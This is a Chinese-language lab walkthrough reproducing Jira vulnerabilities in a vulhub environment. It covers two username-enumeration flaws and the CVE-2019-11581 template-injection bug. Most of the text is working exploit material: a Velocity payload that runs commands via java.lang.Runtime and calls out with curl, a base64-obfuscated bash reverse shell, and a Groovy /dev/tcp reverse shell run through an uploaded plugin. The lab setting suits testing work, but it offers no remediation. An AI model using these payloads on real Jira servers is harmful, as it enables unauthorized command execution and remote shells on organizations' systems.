简介
Atlassian Jira是企业广泛使用的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。
产品快速搭建
为了方便省时间,我们可以利用vulhub靶场去启用jira的漏洞环境
拉取vulhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub-master/jira/CVE-2019-11581/
docker-compose up -d
容器启动后访问IP:8080就可以访问到jira登录界面了。
初次访问需要安装,根据提示jira官网注册一个账号,然后利用账号申请一个可以试用30天的license,最终完成所有配置,进入系统
漏洞利用
未经身份验证用户名枚举漏洞(CVE-2020-14181)
影响版本
Jira < 7.13.6 Jira 8.0.0 - 8.5.7 Jira 8.6.0 - 8.12.0
漏洞复现
访问
http://192.168.221.132:8080/secure/ViewUserHover.jspa?username=user
提示用户不存在
访问
http://192.168.221.132:8080/secure/ViewUserHover.jspa?username=admin
发现存在admin用户
信息泄露(用户名枚举 CVE-2019-3403)
访问
http://192.168.221.132:8080/rest/api/2/user/picker?query=test
未检索到用户
访问
http://192.168.221.132:8080/rest/api/2/user/picker?query=admin
成功检索到用户
Atlassian JIRA服务器模板注入(CVE-2019-11581)
利用条件:
已开启联系管理员表单
漏洞复现
开启方式:
管理员登录后访问
http://xx.xx.xx.xx:8080/secure/admin/VerifySmtpServerConnection!add.jspa
进入配置界面
先配置好SMTP
接着访问
http://xx.xx.xx.xx:8080/secure/admin/EditApplicationProperties!default.jspa
开启表单
接着未登录的情况下访问
http://xx.xx.xx.xx:8080/secure/ContactAdministrators!default.jspa
成功访问到表单
填入poc
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl 172.20.0.1:8888').waitFor()
在另一台机器上监听8888端口,发送表单
稍等一会成功收到请求。
接下来我们来反弹shell
进行反弹操作时,由于Runtime.getRuntime().exec()不能执行管道命令的问题,需要将exec内的命令进行base64编码
exp:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE3Mi4yMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}").waitFor()
发出请求后成功反弹回shell
该漏洞在后台也有利用点
http://xx.xx.xx.xx:8080/secure/admin/SendBulkMail!default.jspa
利用MyGroovy插件进行getshell
管理插件接口地址
http://xx.xx.xx.xx:8080/plugins/servlet/upm?source=side_nav_manage_addons
查看jira对应版本接口地址
http://xx.xx.xx.xx:8080/secure/admin/ViewSystemInfo.jspa
接着下载对应版本的插件
https://marketplace.atlassian.com/apps/1218755/mygroovy/version-history
接着从插件管理界面上传安装该插件
安装成功后,进入MyGroovy console执行反弹脚本,如下
def r = Runtime.getRuntime()
def p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.20.0.1/3333;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Comments NOTHING